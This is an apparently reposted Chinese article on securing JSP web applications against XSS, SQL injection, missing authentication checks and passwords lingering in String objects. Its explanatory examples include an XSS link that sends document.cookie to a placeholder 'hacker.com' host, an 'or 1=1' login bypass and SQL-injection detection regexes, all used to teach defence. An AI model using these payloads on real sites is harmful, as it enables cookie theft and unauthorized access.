JSP应用程序开发的安全策略

13年前
由于电子商务行业的快速发展,各种基于JSP
技术构建的电子商务应用程序越来越多,而
针对JSP应用程序的各种攻击也不断出现。本
文分析了 JSP 开发的Web应用程序中常见的
漏洞产生原因以及攻击的原理,结合实际应
用提出了防范策略。

JSP;漏洞;防范策略
JSP编程语言自从推出之日起,其运
行效率高、与平台无关、扩展好、面向对象
等特性使JSP在动态网站,特别是涉及资金
支付和认证方面的电子商务网站上得到了
越来越广泛的应用。虽然JSP 相对于其他
网络编程语言, 在安全方面有很大的优越
性,但是,由于完全开放了对服务器资源的
访问,从JSP页面转换得到的不安全的
Servlet可能给服务器、服务器所在的网络
和访问页面的客户机之中的任意一个或全
体带来威胁。下面将讨论常见的漏洞以及
防范策略。
一、跨站脚本攻击的防范策略
1、攻击原理
跨站脚本(Cross Site Scripting)
攻击是指在远程WEB页面的HTML代码..
510663
中手插入恶意的JavaScript、VBScript、
ActiveX等脚本,窃取浏览此页面的用户的
隐私、改变用户的设置、破坏用户的数据。
跨站脚本攻击在多数情况下不会对服务器
和WEB程序的运行造成影响,但对客户端
的安全构成严重的威胁。
例如下面这个简单的例子。当我们提
交..
http://www.xxx.com/dispuser.jsp?
name=user<;script>alert(document.cookie)
</script>

便能弹出包含自己Cookie信息的对话
框。而提交..
http://www.xxx.com/dispuser.jsp?
name=user<;script>document.
location='http://www.163.com'</script>

就能重定向到网易。
由于在返回“name”变量的值给客
户端时,脚本没有进行任何编码或过滤恶
意代码,当用户访问嵌入恶意“name ”
变量数据链接时,会导致脚本代码在用户
浏览器上执行,可能导致用户隐私泄露的
后果。比如下面的链接:..
http://www.xxx.com/dispuser.jsp?
name=user<;script>document.
location='http://www.hacker.com/xxx.
xxx?'+document.cookie</script>

xxx.xxx页面用于收集后边跟的参
数,而这里参数指定的是document.
cookie,也就是访问此链接的用户的
Cookie。在JSP里,读取Cookie并不是
难事。而且,跨站脚本并不局限于窃取
Cookie这一项功能,所以要注意防范。
2、防范策略
对所有动态页面的输入和输出都应进
行编码,可以在很大程度上避免跨站脚本
的攻击。但是对所有不可信数据编码是资
源密集型的工作,会对Web 服务器产生
性能方面的影响。因此常用的手段还是进
行输入数据的过滤,而更实用的防范是利
用正则表达式只允许输入指定的字符,例
如以下代码就只允许输入的数据为小写的
英文字母和数字:..
public boolean isValidInput(String
str)

{

 if(str.matches("[a-z0-9]+")) return
true;
 else return false;
}

二、SQL注入攻击的防范策略
1、攻击原理
SQL注入攻击的总体思路:发现SQL
注入位置→判断服务器类型和后台数据库
类型→确定可执行情况。
一般网站的身份认证网页中都会有类
似如下的SQL语句:..
select * from admin where
username='XXX' and password='YYY'
的语句,若数据库系统正式执行此句之
前,如果没有进行必要的字符过滤,则很
容易实施SQL注入。
比如在用户名文本框内输入:.. “abcor 1=1”,在密码框内输入:.. “123”则
SQL语句变成:.. select * from admin where
username='abc' or 1=1 and password='123'
那么不管用户输入任何用户名与密
码,此语句永远都能正确执行,用户就可
以轻易骗过系统,获取合法身份。然后攻
击者可以猜解所有数据库名称,猜出库中
的每张表名,分析可能存放用户名与密码
的表名。甚至可以获得管理员权限,进而
为所欲为。
还有另一种方式也可以获得数据库名
和每张表的名。
就是通过例如:http://www.XXX.
com/news?id=10' 的方式来通过页面报错
-126


信息获得数据库名和表名。
2、防范策略
对于JSP而言一般采取以下策略来应
对:
1)、使用PreparedStatement对象
在JSP程序中,开发人员应该始终以
PreparedStatement对象代替Statement对
象。
如果使用预编译语句,页面传入的任
何内容就不会和原来的语句发生任何匹配
的关系。只要使用预编译语句,就可以不
用对传入的数据做任何过虑。同时还增强
了代码的可读性和可维护性、提高了数据
库访问的性能。而如果使用普通的
Statement对象,有可能要对提交的字符
串进行详尽的判断和过虑。
2)、使用正则表达式
检测SQL meta-characters的正则表达
式:/(\%27)|(\')|(\-\-)|(\%23)|(#)/ix
修正检测SQL meta-characters的正则
表达式:
/((\%3D)|(=))[^\n]*((\%27)|(\')|(\\-)
|(\%3B)|(:))/i
典型的 SQL注入攻击的正则表达
式:
/\w*((\%27)|(\'))((\%6F)|o|(\%4F))
((\%72)|r|(\ %52))/ix
检测MS SQL Server SQL注入攻击
的正则表达式: /exec(\s|\+)+(s|x)p\w+/
3)、字符串过滤
4)、不安全字符屏蔽
可以采用JavaScript来屏蔽,但起的
作用很小,在实际应用中这些 SQL的关
键字也可能成为真正的查询关键字,这样
可能导致用户不能正常的使用。
总而言之,凡是执行的SQL语句中有
变量时,用JDBC(或者其他数据持久
层)提供的PreparedStatement对象就可
以,不要用拼接字符串的方法。
三、身份认证漏洞的防范策略
1、漏洞原理
例如user_manager.jsp是用户管理的
页面,开发人员也做了一定的防范措施:..
if ((session.getValue("UserName")
==null)││(session.getValue("UserClass")
==null)││(! Session.getValue("UserClass").equals("系统管理员")))
{

 Response.sendRedirect("error.jsp");
 return;
}

如果要查看、修改某用户的信息,就
要用modifyuser.jsp这个文件。管理员提
id=8

就是查看、修改ID为8的用户的资料
(管理员默认的用户ID为8)。但是,如
此重要的文件竟缺乏认证,普通用户(包
括游客)也直接提交上述请求,也可以对
其信息一览无余(密码也是明文存储、显
示的)。modifyuser.jsp同样没有任何的
身份验证,直到恶意用户把数据更新的操
作执行完毕,重定向到user_manager.jsp
的时候,才会看见姗姗来迟的显示错误的
页面。显然,只在第一个环节防范是不够
的,编程的时候一定要不厌其烦地为每一
个该加身份认证的地方加上身份认证。
2、防范策略
完善用户授权认证过程。可以建立一
个Bean,用户通过这个Bean来进行通过
验证。在输入用户名和密码进入系统后就
会得到一个由系统随机生成的session 对
象,可以记录用户登录的IP地址和所进行
操作等。为了防止用户绕过登录页面,系
统在重要的页面还检查用户是否登录过并
检验用户的操作权限,如果没有登录或没
有操作权限,将用户重定向到登录页面。
系统的后台数据库日志应该记录所有登录
用户的用户名、IP地址、登录时间、操
作信息、权限、是否成功以及未成功登录
的密码等。
四、String对象隐患的防范策略
1、漏洞原理
Java平台的确使安全编程更加方便
了。Java中无指针,这意味着 Java 程
序不能对地址空间中的任意内存位置寻址
了。在JSP文件被编译成.class文件时会被
检查安全性问题,例如当访问超出数组大
小的数组元素的尝试将被拒绝,这在很大
程度上避免了缓冲区溢出攻击。但是,
String对象却会给我们带来一些安全上的
隐患。如果密码是存储在Java String对
象中的,则直到对它进行垃圾收集或进程
终止之前,密码会一直驻留在内存中。即
使进行了垃圾收集,它仍会存在于空闲内
存堆中,直到重用该内存空间为止。密码
在内存中驻留得越久,遭到窃听的危险性
就越大。更糟的是,如果实际内存减少,
则操作系统会将这个密码String换页调度
到磁盘的交换空间,因此容易遭受磁盘块
窃听攻击。
2、防范策略
为了将这种泄密的可能性降至最低,
最好将密码存储在char 数组中,并在使
用后对其置零(String是不可变的,无法
对其置零)。
五、结束语
通过上面分析可以看出JSP也存在着
很多安全上的问题,而其中的任何一个漏
洞都可能成为系统安全的隐患。作为开发
人员, 必须对采用的动态网页技术、系统
环境和网络协议等各个方面可能存在的安
全问题比较清楚,在应用系统的开发过程
中,充分考虑到各种可能带来隐患的因素,
避免不安全的脚本编程,这样才能保证系
统的安全运行。